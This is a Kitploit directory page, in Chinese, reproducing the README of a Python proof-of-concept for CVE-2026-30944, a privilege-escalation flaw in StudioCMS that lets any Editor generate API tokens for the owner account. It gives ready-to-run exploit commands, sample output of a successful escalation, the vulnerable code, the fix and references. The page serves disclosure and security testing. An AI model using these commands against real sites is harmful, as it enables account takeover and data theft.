Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-30944-PoC — Python 概念验证,针对 CVE-2026-30944,利用 StudioCMS 中的 BOLA 漏洞,通过不安全的 API 令牌生成来提升权限。 | Kitploit
工具/GitHubGitHub/filipegaudard/cve-2026-30944-poc
权限提升漏洞分析漏洞利用Web应用程序漏洞利用API安全测试Web安全渗透测试
GitHubfilipegaudard/cve-2026-30944-poc

CVE-2026-30944-PoC

Python 概念验证,针对 CVE-2026-30944,利用 StudioCMS 中的 BOLA 漏洞,通过不安全的 API 令牌生成来提升权限。

查看仓库
5个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

🔓 CVE-2026-30944

StudioCMS 通过不安全的 API 令牌生成实现权限提升

CVE CVSS CWE Type

NVD • 安全公告 • CWE-639


概述

StudioCMS ≤ 0.3.0 中的 POST /studiocms_api/dashboard/api-tokens 端点允许任何已认证用户(至少为 Editor 角色)为任何其他用户(包括 owner 和 admin 账户)生成 API 令牌。

该端点接受请求体中的 user 参数来指定目标用户 UUID,但从不验证请求用户是否有权代表该目标用户创建令牌。这是一个典型的**对象级授权失效(BOLA)**漏洞,可导致完全权限提升。

攻击流程

root@kitploit:~
┌──────────────┐     POST /api-tokens      ┌──────────────┐
│              │    {"user":"<owner-id>"}    │              │
│   攻击者      │ ─────────────────────────► │  StudioCMS   │
│   (Editor)   │                            │   服务器      │
│              │ ◄───────────────────────── │              │
└──────────────┘    {"token":"eyJhb..."}    └──────────────┘
       │                                           │
       │         GET /rest/v1/users                │
       │   Authorization: Bearer <owner-token>     │
       │ ─────────────────────────────────────────►│
       │                                           │
       │ ◄─────────────────────────────────────────│
       │         [以 Owner 身份获取完整用户数据]      │
       │                                           │

漏洞详情


文件内容

文件描述
cve_2026_30944_poc.pyPython 利用脚本,支持手动与自动模式
README.md本文件
LICENSEMIT 许可证

前置条件

  • StudioCMS ≤ 0.3.0(存在漏洞的版本)
  • Python 3.8+
  • 至少一个 Editor 账户的有效凭据
root@kitploit:~
pip install requests colorama

快速开始

手动利用

root@kitploit:~
# 使用编辑器账户为 owner 生成 API 令牌
python3 cve_2026_30944_poc.py \
  -u http://localhost:4321 \
  --username editor01 \
  --password editorpass \
  --uuid 2450bf33-0135-4142-80be-9854f9a5e9f1

# 将结果保存为 JSON
python3 cve_2026_30944_poc.py \
  -u http://localhost:4321 \
  --username editor01 \
  --password editorpass \
  --uuid 2450bf33-0135-4142-80be-9854f9a5e9f1 \
  --save

自动化测试

root@kitploit:~
# 使用多个角色进行测试以确认漏洞
python3 cve_2026_30944_poc.py \
  -u http://localhost:4321 \
  --auto-test \
  --editor-user editor01 \
  --editor-pass editorpass \
  --visitor-user visitor01 \
  --visitor-pass visitorpass \
  --uuid 2450bf33-0135-4142-80be-9854f9a5e9f1

参数说明

必需参数

参数描述
-u, --url目标 StudioCMS 基础 URL
--uuid目标用户 UUID(例如 owner 账户)

手动模式

参数描述
--username用于认证的用户名
--password用于认证的密码

自动化测试模式

可选参数

参数描述
--save将结果保存到 JSON 文件
--no-ssl-verify禁用 SSL 证书验证

示例输出

存在漏洞的系统

root@kitploit:~
  ──────────────────────────────────────────────────────────
  阶段 1:身份认证
  ──────────────────────────────────────────────────────────
  [+] 已认证为 'editor01'
  [*] 会话用户:editor01 (editor)
  [*] 会话 UUID:39b3e7d3-5eb0-48e1-abdc-ce95a57b212c

  ──────────────────────────────────────────────────────────
  阶段 2:权限提升
  ──────────────────────────────────────────────────────────
  [*] 目标 UUID:2450bf33-0135-4142-80be-9854f9a5e9f1
  [*] 正在为目标用户生成 API 令牌...
  [+] API 令牌生成成功!
  [!] 令牌:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2...

  ──────────────────────────────────────────────────────────
  阶段 3:验证
  ──────────────────────────────────────────────────────────
  [*] 正在验证 REST API 上的令牌访问权限...
  [+] 漏洞已确认 — 已获得完整 API 访问权限!
  [*] 获取到 9 条用户记录

已修复的系统

root@kitploit:~
  ──────────────────────────────────────────────────────────
  阶段 2:权限提升
  ──────────────────────────────────────────────────────────
  [*] 目标 UUID:2450bf33-0135-4142-80be-9854f9a5e9f1
  [*] 正在为目标用户生成 API 令牌...
  [*] 访问被拒绝(403 禁止)— 端点可能已修复
  [-] 利用失败 — 未生成令牌

根本原因

存在漏洞的处理程序位于 packages/studiocms/frontend/pages/studiocms_api/dashboard/api-tokens.ts(第 16–57 行),它接受 JSON 请求体中的 user 参数,并在没有授权检查的情况下直接将其传递给令牌生成函数:

root@kitploit:~
// [1] 仅检查调用者是否为 editor — 而不检查他们为谁创建令牌
const isAuthorized = ctx.locals.StudioCMS.security?.userPermissionLevel.isEditor;

// [2] 请求体中的 'user' — 未与已认证会话进行验证
const jsonData = yield* readAPIContextJson<{ description: string; user: string }>(ctx);

// [3] 直接传递给令牌生成 — IDOR
const newToken = yield* sdk.REST_API.tokens.new(jsonData.user, jsonData.description);

授权模型仅验证*“调用者是否至少是编辑器?”,而不是“调用者是否有权为这个特定用户创建令牌?”*


影响

  • 权限提升 — 任何编辑器都可以提升至 owner 级别的 API 访问权限
  • 完整 API 访问 — 生成的令牌授予对所有 REST 端点的无限制访问权限
  • 账户接管 — 攻击者可以通过指定目标 UUID 冒充任何用户
  • 数据泄露 — 可访问用户列表、内容和系统配置

缓解措施

将 StudioCMS 更新至 0.4.0 或更高版本:

root@kitploit:~
npm install studiocms@latest

法律免责声明

本工具仅用于教育和授权的安全测试目的。

  • 仅可对您拥有或已获得明确书面许可的系统使用
  • 未经授权访问计算机系统在大多数司法管辖区属于违法行为
  • 作者不对滥用本工具承担任何责任
  • 请始终遵循负责任披露实践

参考资料

  • CVE: CVE-2026-30944
  • 安全公告: GHSA-667w-mmh7-mrr4
  • CWE: CWE-639 — 通过用户可控密钥绕过授权
  • OWASP: API1:2023 — 对象级授权失效
  • MITRE ATT&CK: T1134 — 访问令牌操纵

作者

Filipe Gaudard


许可证

本 PoC 根据 MIT 许可证 发布,仅供教育目的使用。请负责任且合乎道德地使用。

下载工具
字段值
CVECVE-2026-30944
GHSAGHSA-667w-mmh7-mrr4
CVSS v3.18.8(高危)— AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CWECWE-639:通过用户可控密钥绕过授权
CWE(次要)CWE-863:不正确的授权
MITRE ATT&CKT1134 — 访问令牌操纵
OWASP APIAPI1:2023 — 对象级授权失效
受影响版本studiocms ≤ 0.3.0
修复版本studiocms 0.4.0
参数描述
--auto-test启用自动化多角色测试
--editor-user编辑器账户用户名
--editor-pass编辑器账户密码
--visitor-user访客账户用户名
--visitor-pass访客账户密码